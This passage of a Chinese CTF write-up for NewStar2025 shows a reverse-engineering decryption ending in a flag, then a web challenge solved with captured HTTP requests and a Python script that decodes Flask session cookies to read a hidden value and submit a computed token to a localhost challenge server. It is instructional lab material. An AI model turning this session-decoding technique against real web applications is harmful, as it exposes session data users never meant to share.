# C语言: char result = 105 - byte_val(自动回绕)
# Python: 手动模拟有符号字节溢出
result.append((105 - byte_val) & 0xFF)

# 情况2:字母字符(大写A-Z:65-90,小写a-z:97-122)
elif (65 <= byte_val <= 90) or (97 <= byte_val <= 122):
# C语言: char result = -69 - byte_val
result.append((-69 - byte_val) & 0xFF)

# 情况3:其他字符保持不变
else:
result.append(byte_val)

return bytes(result)

xorresult=bytes([b^0x3C for b in cipher])
plain=encrypt(bytes(xorresult))
print(plain)
print(plain.decode('ascii'))
#flag{E4sy_R3v3rSe_e4Sy_eNcrypt10n}

web

1.搞点哦润吉吃吃🍊

登进去之后F12

亏我还爆了半天..

进入界面之后能看到如下的的提示:(手算不显示)

所以这里用脚本,先观察一下开始挑战和提交验证的post结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /start_challenge HTTP/1.1
Host: 127.0.0.1:55488
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aS0v3g.Cn4WYklis7LqamvdvHqhnye_fDk
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:55488/home
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Origin: http://127.0.0.1:55488
Content-Length: 01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /verify_token HTTP/1.1
Host: 127.0.0.1:55488
Content-Type: application/json
Origin: http://127.0.0.1:55488
Sec-Fetch-Dest: empty
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
Cookie: session=.eJxVy00KgzAQQOG7zDqLqK35WfceIdQhDYyJTCYglN5du9P1e98X3p9IhCVhWDtJ3igjgx_1aKy6xCaRJUheEfxg5sdzdtbejr2ebtLGauMUUE0Jl5ALeOGOCnpDLvHP4VW5wu8ALNgpNA.aS0zIA.o2qMfR6U9nZtGQmsm1sNm_fRQUw
sec-ch-ua-platform: "Windows"
Referer: http://127.0.0.1:55488/home
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Accept: */*
Sec-Fetch-Site: same-origin
Content-Length: 11

{"token":1}

这里其实只用注意两次cookie(第二次用的第一次返回的)的样子是不一样的,所以需要脚本自己获取验证post的cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import requests, json, base64, zlib, time

# ========== 配置信息 ==========
# 题目服务器地址
BASE_URL = "http://127.0.0.1:55488"

# HTTP请求头,模拟浏览器访问
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.9",
"Content-Type": "application/json", # 告诉服务器发送的是JSON数据
"Origin": BASE_URL,
"Referer": f"{BASE_URL}/home",
"sec-ch-ua": '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Windows"'
}


def decode_session(cookie):
"""
解码Flask框架的session cookie函数
Flask的session格式: .<base64数据>.<时间戳>.<签名>
"""
try:
# 1. 按'.'分割,取第二部分就是base64编码的数据
data = cookie.split('.')[1]

# 2. base64解码需要长度为4的倍数,不够就补'='
data += '=' * (4 - len(data) % 4)

# 3. urlsafe_b64decode: 解码base64
# 4. zlib.decompress: 解压数据
# 5. json.loads: 转为Python字典
return json.loads(zlib.decompress(base64.urlsafe_b64decode(data)))
except:
# 解码失败就返回空字典
return {}


def solve():
"""
主解题函数,按顺序执行四个步骤
"""
# ========== 步骤1: 用旧session请求挑战 ==========
# 创建一个会话对象,用来管理cookie和连接
s = requests.Session()

# 设置初始session(从浏览器复制的)
# 这个session证明你已经登录或访问过/home页面
s.cookies.set('session',
".eJxNi0EKwyAQAP-yZw8NdhPjuf8QaRYrbDRsViiE_j32JsxtZi54fyIzlURhb6z54EwC3qKzqxnkqVE0aN4J_LTMT5wXh24svrV_0wPRdgxwTYm2kAt4lUYG2klS4v-HV5UKvxtRoSlh.aS0rMg.JfIgDgcoK8-DXwEwkWorxV763XQ")

# POST请求/start_challenge获取题目参数
r = s.post(f"{BASE_URL}/start_challenge", headers=HEADERS)

# 解析返回的JSON数据
data = r.json()

# 从JSON中提取两个参数
c = data["multiplier"] # 乘数
b = int(data["xor_value"], 16) # 异或值(把16进制字符串转成整数)

# ========== 步骤2: 从响应头获取新session并解码 ==========
# 关键:服务器会返回新的session,里面藏有参数a
# 从Set-Cookie头中提取新session的值
new_cookie = r.headers["Set-Cookie"].split('session=')[1].split(';')[0]

# 解码新session获取里面的数据
session_data = decode_session(new_cookie)

# 从session数据中取出参数a,可能叫'a'、'time'或'timestamp'
# 如果都找不到,就用当前时间戳作为备用
a = session_data.get('a') or session_data.get('time') or int(time.time())

# ========== 步骤3: 计算token ==========
# 按题目给的公式计算: token = (a * c) ^ b
# ^ 是异或运算符(二进制位相同为0,不同为1)
token = (a * c) ^ b

# ========== 步骤4: 用新session提交token ==========
# 必须用新session创建新的会话对象
s2 = requests.Session()
s2.cookies.set('session', new_cookie) # 设置新session

# POST请求/verify_token提交计算结果
resp = s2.post(f"{BASE_URL}/verify_token",
headers=HEADERS,
json={"token": token})

# 打印最终结果(应该是flag)
print(resp.text)


if __name__ == "__main__":
solve()
1
2
3
4
5
6
7
8
9
(.venv) PS E:\CTF\比赛\NewStar2025\项目> & C:/Users/jerry/AppData/Local/Programs/Python/Python313/.venv/Scripts/python.exe e:/CTF/比赛/NewStar2025/项目/pwn/temp.py
C:\Users\jerry\AppData\Local\Programs\Python\Python313\.venv\Lib\site-packages\requests\__init__.py:113: RequestsDependencyWarning: urllib3 (2.5.0) or chardet (2.0.3)/charset_normalizer (3.4.2) doesn't match a supported version!
warnings.warn(
{
"elapsed_time": 0.61,
"flag": "flag{985e0103-29a5-2364-ca54-7946ea9d9fb7}",
"message": "\u9a8c\u8bc1\u6210\u529f\uff01",
"success": true
}

补充:

所以这里用的是session机制;同时也可以解析一下cookie:

Flask 默认使用 客户端 Session:<payload>.<timestamp>.<signature>

1
2
3
4
5
Set-Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aS0zIg.Oer5xvTkd0J6RmUBiw3IzYTu4Rs; HttpOnly; Path=/
#eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9 base64解码为 {"logged_in":true,"username":"Doro"}
#aS0zIg为时间戳
#最后一段时签名
#Set-Cookie: session=上面的值; HttpOnly; Path=/